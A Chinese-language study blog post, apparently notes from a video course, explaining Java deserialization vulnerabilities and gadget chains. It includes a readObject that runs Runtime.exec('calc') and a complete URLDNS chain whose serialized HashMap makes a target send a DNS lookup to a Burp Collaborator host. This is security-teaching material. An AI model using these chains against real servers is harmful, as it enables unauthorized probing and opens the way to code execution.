声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删

组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0

一、java序列化和反序列化

java对象 –> 字节

为了传输,类比快递,打包和拆包

有些快递打包拆包有独特的需求,比如易碎朝上,重写readObjec和writeObject

为什么有安全问题?

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。

可能形式

  1. 入口类的readObject直接调用危险方法(基本没有这种情况)
1
2
3
4
5
6
//Person类
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
objectInputStream.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
//反序列化后直接弹出计算器
  1. 入口类参数中包含可控类,该类有危险方法,readObject时调用
1
2
3
4
入口A HashMap 接受参数O
目标类B URL
目标调用B.f
A.readObject.invoke -> B.f
  1. 入口类参数中包含可控类,该类调用其他有危险方法的类,readObject时调用

比如类型定义为Object,调用equals/hashcode/toString

重点 相同类型 同名函数

1
2
3
4
5
6
B.f可以利用漏洞(执行命令)
入口A接受一个Object
最好情况: A[O] -> O.f ,直接把B传过去,调用B.f
现实情况: A[O] -> O.abc,O调用别的方法
但是如果O是一个动态代理,在他的invoke中调用了f,也可以利用漏洞
O[O2] invoke -> O2.f
  1. 构造函数/静态代码块等类加载时隐式执行。

共同条件 实现Serializable,最好JDK自带

入口类 source (重写readObject 参数类型宽泛 最好jdk自带)HashMap

调用链 gadget chain

执行类 sink (rce ssrf 写文件等)

反射在反序列化漏洞中的应用:

定制需要的对象

通过invoke调用除了同名函数以外的函数

通过Class类创建对象,引入不能序列化的类

小例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Person implements Serializable {
private String name;
private int age;

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
//序列化person对象,保存到文件中
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws IOException {
Person person = new Person("zhangsan", 22);
System.out.println(person);
serialize(person);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
//从文件中反序列化出person对象
public class UnserializationTest {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}

ObjectOutputStream代表对象输出流,writeObject对对象进行序列化,把得到的字节序列写到一个目标输出流中。

ObjectInputStream代表对象输入流,readObject从一个源输入流中读取字节序列,再把他们反序列化为一个对象,并将其返回。

并不是所有的类都是可以进⾏序
列化和反序列化的, 要进⾏序列化和反序列化则该类必须继承⾃java.io.Serializable接⼝(该类的全
部属性也必须继承⾃Serializable接⼝) 。 否则会抛出NotSerializableException报错

反序列化是针对对象属性的,而不是针对类的,所以与类有关的静态成员变量是不会被反序列化的

1.静态成员变量不参与序列化

2.transient标识的对象成员变量不参与序列化

image-20220801022119133 image-20220801022135149

二、URLDNS链

1.HashMap

image-20220801035208146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//HashMap重写了readObject方法
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
......
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}

HashMap为什么要重写readObject方法?

HashMap中,Entry的存放位置是根据Key的Hash值来计算的。对于同一个key,在不同的JVM中计算得出的Hash可能不同。所以需要把每个对象提出来单独计算Hash并存储。

image-20220801040121561

1
2
3
4
5
6
7
//HashMap类
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
//Object类
public native int hashCode();

2.URL类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//URL类中有hashcode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
//URL类调用了URLStreamHandler的hashcode方法
hashCode = handler.hashCode(this);
return hashCode;
}
//URLStreamHandler类
protected int hashCode(URL u) {
int h = 0;
......
// 根据url获取ip
InetAddress addr = getHostAddress(u);
......
}

3.尝试构造反序列化链

1
2
3
HashMap<URL, Integer> map = new HashMap<>();
map.put(new URL("http://qoi1p3cnulmb30dhidvrc4h3quwlka.burpcollaborator.net"),1);
serialize(map);
image-20220801042535599

出现两个问题

1.在序列化之前就会发起调用一次hash函数,从而发起DNS请求,可能会影响我们。

1
HashMap.put() -> HashMap.Hash() -> Object.hashCode()

2.URL的初始hashCode为-1,但是在put之后会触发URL的hashcode方法,导致hashCode不是-1,从而发序列化的URL对象的hashCode也不是-1,反序列化时就不会触发hashCode方法

1
2
3
4
5
6
7
8
9
10
11
//URL类
private int hashCode = -1;

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

//只有当hashCode不是-1时,才能触发到hashCode方法,从而发起DNS请求
hashCode = handler.hashCode(this);
return hashCode;
}

解决方案

1
2
3
4
//这里不要发起请求,把hashCode改成不是-1
map.put(new URL("http://qoi1p3cnulmb30dhidvrc4h3quwlka.burpcollaborator.net"),1);
//把hashCode改成-1(通过反射,改变已有对象属性)
serialize(map);

4.URLDNS完整版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//SerializationTest
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> map = new HashMap<>();
URL url = new URL("http://2y1dzfmz4xwndcntsp53mgrf066yun.burpcollaborator.net");
//这里不要发起请求,把hashCode改成不是-1
Class c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1234);
map.put(url,1);
//把hashCode改成-1(通过反射,改变已有对象属性)
hashCode.set(url,-1);
serialize(map);
}
//UnserializationTest
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("ser.bin");
}

image-20220801045742147